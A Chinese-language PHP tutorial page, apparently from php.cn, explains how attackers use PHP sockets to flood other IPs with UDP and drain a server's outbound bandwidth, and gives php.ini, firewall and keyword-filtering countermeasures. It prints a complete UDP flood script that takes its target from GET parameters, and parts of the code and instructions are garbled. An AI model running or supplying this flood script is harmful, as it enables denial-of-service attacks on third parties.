首頁 > 後端開發 > php教程 > php程式碼 防止使用者利用PHP程式碼DOS造成用光網路頻寬

php程式碼 防止使用者利用PHP程式碼DOS造成用光網路頻寬

WBOY
發布: 2016-07-29 08:44:27
原創
910 人瀏覽過

用PHP程式碼呼叫sockets,直接用伺服器的網路攻擊別的IP,常見程式碼如下:

複製程式碼 程式碼如下:


$packets = 0;
$ip = $_GET['ip'];
$rand = $_GET['port'];
set_time_limit(0);
ignore_user_abort(FALSE) ;
$exec_time = $_GET['time'];
$time = time();
print "Flooded: $ip on port $rand
";
$max_time = $ time+$exec_time;
for($i=0;$i$out .= "X";
}
while(1){
$ packets++;
if(time() > $max_time){
break;
}
$fp = fsockopen("udp://$ip", $rand, $errno, $errstr, 5);
if($fp){
fwrite($fp, $out);
fclose($fp);
}
}
echo "Packet complete at " .time('h:i:s')." with $packets (" . round(($packets*65)/1024, 2) . " mB) packets averaging ". round($packets/$exec_time, 2) . " packets/s \n";
?>


表現特徵:
一打開IIS,伺服器的流出頻寬就用光-----就是說伺服器不斷向別人發包,這個情況和受到DDOS攻擊是不同的,DDOS是不斷收到大量數據包.
解決辦法:
禁止上述的代碼:
在c:windowsphp.ini裡設定:
disable_functions =gzinflate;
在c:windowsphp.ini裡設其值為Off
allow_url_fopen = Off
並且:
;extension=php_sockets.dll
並且:
;extension=php_sockets.dll
前面的;>;extension=php_sockets.dll
前面的; ,意思就是限制用sockets.dll
前面的;號要保留
然後重啟IIS
如果上述方式仍然無效,你可以在IIS中,允許的擴展中,禁止PHP的擴展測試.

另外,對於沒加密的php攻擊代碼,還可以用以下辦法處理:

1.在IP策略,或防火牆中,禁止所有udp向外發送

2.用一流信息監控,在SQL攔截及網址攔截中,攔截port=這個關鍵字

以上就介紹了php程式碼 防止使用者利用PHP程式碼DOS造成用光網路頻寬,包含了php程式碼的內容,希望對PHP教學有興趣的朋友有幫助。
相關標籤:
來源:php.cn
本網站聲明
本文內容由網友自願投稿,版權歸原作者所有。本站不承擔相應的法律責任。如發現涉嫌抄襲或侵權的內容,請聯絡admin@php.cn
最新問題
熱門教學
更多>
最新下載
更多>
網站特效
網站源碼
網站素材
前端模板